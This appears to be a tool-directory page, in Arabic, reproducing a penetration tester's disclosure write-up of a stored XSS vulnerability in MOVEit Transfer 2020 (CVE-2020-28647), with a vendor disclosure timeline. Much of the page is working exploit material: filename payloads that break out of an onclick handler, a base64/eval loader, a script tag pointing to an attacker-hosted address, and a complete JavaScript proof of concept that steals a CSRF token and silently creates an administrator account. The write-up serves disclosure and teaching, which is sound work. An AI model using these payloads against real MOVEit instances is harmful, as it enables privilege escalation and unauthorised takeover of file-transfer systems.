Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647 — ثغرة تخزين للبرمجة النصية عبر المواقع (XSS) في تطبيق ويب MOVEit Transfer 2020 | Kitploit
أدوات/GitHubGitHub/secforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubsecforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647

Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647

ثغرة تخزين للبرمجة النصية عبر المواقع (XSS) في تطبيق ويب MOVEit Transfer 2020

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
2منذ 5 سنواتلم تتم المراجعة بعد

ثغرة XSS مخزنة في Progress MOVEit Transfer < 2020.1 (CVE-2020-28647)

خلال اختبار تطبيق ويب حديث، كان أحد التطبيقات ضمن النطاق هو تطبيق ويب MOVEit Transfer 2020. أثناء إجراء التقييم، تم تحديد ثغرة XSS مخزنة (Stored Cross-Site Scripting). ستتناول هذه التدوينة اكتشاف واستغلال هذه الثغرة للحصول على وصول إداري إلى تطبيق الويب.

أثناء اختبار التحقق من صحة الإدخال في عدد من حقول الإدخال المختلفة الموجودة في التطبيق، بدا أن حقل إدخال معين يقدم مخرجات غير متوقعة عند توفير حمولات معينة. كان حقل الإدخال هذا هو اسم الملف الذي يتم تحميله. بعد تحميل الملفات بأسماء ملفات معينة، تم تحديد أنه عند محاولة تنزيل الملف، لم يكن زر التنزيل يقوم بأي إجراء. تم التحقيق في هذا السلوك وكما نرى في الصورة أدناه، يتم تشغيل خطأ JavaScript عند النقر على زر التنزيل.

بمجرد تحديد هذا الخطأ، تم تحليل كود HTML خلف زر التنزيل. من التحليل الأولي، تبين أن اسم الملف يتم تضمينه في دالة onclick الخاصة بزر JavaScript دون تعقيم مناسب، كما يمكن رؤيته في الصورة أدناه.

مع هذه الملاحظة، أصبح من الواضح أنه يمكن حقن كود JavaScript يتم تنفيذه بمجرد أن ينقر المستخدم على زر Download. كانت الخطوة الأولى هي إنشاء كود إثبات المفهوم (PoC) الذي يشغل نافذة منبثقة JavaScript عبر دالة alert. نظرًا لطبيعة الكود والمكان الذي يتم فيه حقن اسم الملف، تم صياغة الحمولة التالية. هذه الحمولة ستنهي الدالة التي يتم استدعاؤها وتلحق دالة جديدة، alert()، متبوعة بدالة وهمية لإكمال الكود.

root@kitploit:~
test", 382,"1234");alert("XSS");a("test

بهذه الحمولة، يمكننا اختبار ذلك. يمكننا تحميل ملف ثم اعتراض طلب التحميل إلى الخادم باستخدام Burp Proxy وتغيير اسم الملف وإعادة توجيه الطلب إلى الخادم.

مع تحميل الملف، يمكننا الآن فتح الملف بالنقر على اسم الملف ثم النقر على زر Download. هنا نرى أن XSS يتم تشغيله وتظهر نافذة تنبيه JavaScript.

رائع! إذن يمكننا تنفيذ كود JavaScript عشوائي. ماذا يمكننا أن نفعل أيضًا؟ هل يمكننا الحصول على شيء أكثر من هذا؟

بعد مراجعة التطبيق ووظائفه، يمكن أن يكون ناقل الهجوم المحتمل هو مستخدم منخفض المستوى يحاول تصعيد الامتيازات للحصول على وصول إداري إلى تطبيق الويب.

كانت الخطوة الأولى هي التحقق مما إذا كان من الممكن إجراء طلبات HTTP عبر JavaScript باستخدام XMLHttpRequest. أثناء مراجعة إعدادات أسماء الملفات والمجلدات، تم تحديد أن MOVEit لا يسمح لأي ملف أو مجلد بوجود / أو \ في اسم الملف. لذلك قد يمنعنا هذا من إجراء طلبات HTTP. تم تحديد قيد آخر وهو أن اسم الملف يقتصر على 255 حرفًا.

بناءً على هذا التحليل، لدينا بعض القيود التي يجب تجاوزها. الأول كان محاولة إيجاد طريقة لتجاوز قيود الحرفين / و \ ومحاولة تضمين ملف JavaScript مستضاف على خادم بعيد. لتجاوز هذا القيد، يمكننا ترميز كود JavaScript الذي نريد تنفيذه بتنسيق base64 ثم فك ترميزه في الذاكرة وتنفيذه عبر دالة eval. يقوم مقتطف الكود التالي بذلك بالضبط.

root@kitploit:~
t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t

بهذا الكود، كانت المحاولة الأولى هي حقن وسم <script> مع تعيين مصدر الملف إلى ملف مستضاف خارجيًا. تم ترميز مقتطف الكود أدناه بـ base64 ثم نسخه إلى المقتطف أعلاه.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);

عند محاولة ذلك، ظهرت مشكلة أخرى، CSP. كان تطبيق الويب يستخدم CSP يمنع تحميل ملفات JavaScript الخارجية.

لذا، لا يمكننا تحميل ملفات خارجية ولا يمكننا تضمين كود JS يتجاوز 255 حرفًا. ماذا يمكننا أن نفعل الآن؟ يمكننا محاولة إساءة استخدام وظائف MOVEit واستخدامه لاستضافة ملف JavaScript الخبيث الخاص بنا.

أولاً، نحتاج إلى إنشاء كود JavaScript سيقوم بعمل طلب GET إلى الصفحة المسؤولة عن إضافة مستخدم جديد إلى النظام واستخراج رمز CSRF منها. ستحتاج النص البرمجي بعد ذلك إلى عمل طلب POST لإنشاء مستخدم إداري جديد بما في ذلك رمز CSRF المستخرج في الطلب. أدناه مقتطف الكود الذي يقوم بذلك.

root@kitploit:~
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020

function r(){	
    alert(1);
    var uri = "human.aspx?arg12=useradd";
    xhr = new XMLHttpRequest();	
    xhr.open("GET", uri, false);	
    xhr.send(null)
    if (xhr.status === 200)
    {
        responseBody = read_body(xhr);
        firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
        csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
        if (csrfToken){
            var adduserUri = "/human.aspx";
            var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
            xhr2 = new XMLHttpRequest();
            xhr2.open("POST", adduserUri, false);
            xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr2.send(body);
        }
    }
}

function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;	
}

يجب حفظ كود JavaScript أعلاه في ملف ثم تحميله إلى MOVEit. بعد تحميل الملف، افتح تفاصيل الملف وانقر على زر التنزيل أثناء اعتراض طلبات الويب باستخدام Burp Proxy. في سجلات Burp Proxy، يجب أن يكون هناك إدخال لرابط التنزيل المباشر للملف. يجب أن يكون عنوان URL مشابهًا لهذا:

root@kitploit:~
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636

بوجود رابط التنزيل المباشر، يمكننا الآن إعداد ذلك ليتم تضمينه في الحمولة. سيقوم الكود أدناه بإنشاء وسم script وتعيين عنوان URL المصدر إلى رابط التنزيل المباشر وأخيرًا إدراج وسم script في وسم head للصفحة وتنفيذ دالة r() عند التحميل (onload).

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);

الخطوة التالية هي ترميز مقتطف الكود أعلاه بـ base64:

root@kitploit:~
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==

الخطوة التالية هي حقن هذه الحمولة النهائية لـ XSS. للقيام بذلك، قم بتحميل ملف أثناء اعتراض الطلبات باستخدام Burp Proxy وتعديل اسم الملف الذي تم تحميله إلى الحمولة أدناه.

root@kitploit:~
t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t

بمجرد تحميل الملف، انقر على الملف الذي تم تحميله لفتح التفاصيل وانقر على زر Download لتشغيل XSS وإنشاء المستخدم الإداري. يمكن لمستخدم منخفض المستوى إعداد هذا الإعداد، وإذا قام مستخدم إداري بتنزيل الملف الذي تم تحميله، فيمكن للمستخدم منخفض المستوى جعل المسؤول ينشئ حسابًا إداريًا دون علمه.

الجدول الزمني

  • 05/08/2020 - تم الإبلاغ عن المشكلة
  • 08/08/2020 - تم التحقق من المشكلة وسيتم تضمين الإصلاح في الإصدار الرئيسي التالي
  • 16/11/2020 - تم إصدار إعلان Progress MOVEit
  • 17/11/2020 - تم إصدار CVE-2020-28647
تنزيل الأداة